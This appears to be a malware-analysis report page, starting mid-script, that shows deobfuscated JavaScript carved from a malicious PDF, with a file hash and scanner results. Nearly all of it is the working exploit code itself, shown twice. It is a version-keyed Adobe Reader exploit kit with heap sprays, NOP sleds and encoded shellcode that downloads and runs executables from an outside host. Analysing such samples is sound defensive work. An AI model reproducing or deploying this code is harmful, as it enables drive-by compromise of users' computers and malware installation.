var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u6172%u7567%u2D73%u3176%u312D%u632E%u2F6E%u6461%u2F73%u6E6B%u3379%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u6172%u7567%u2D73%u3176%u312D%u632E%u2F6E%u6461%u2F73%u6562%u6F69%u3374%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5318 bytes
SHA-256: 60137bdb1453c4622762fcc2f5c28845186c04d1dd2d2821895385fa2a636842
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u6172%u7567%u2D73%u3176%u312D%u632E%u2F6E%u6461%u2F73%u6F6B%u7372%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u6172%u7567%u2D73%u3176%u312D%u632E%u2F6E%u6461%u2F73%u6E6B%u3379%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u6172%u7567%u2D73%u3176%u312D%u632E%u2F6E%u6461%u2F73%u6562%u6F69%u3374%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.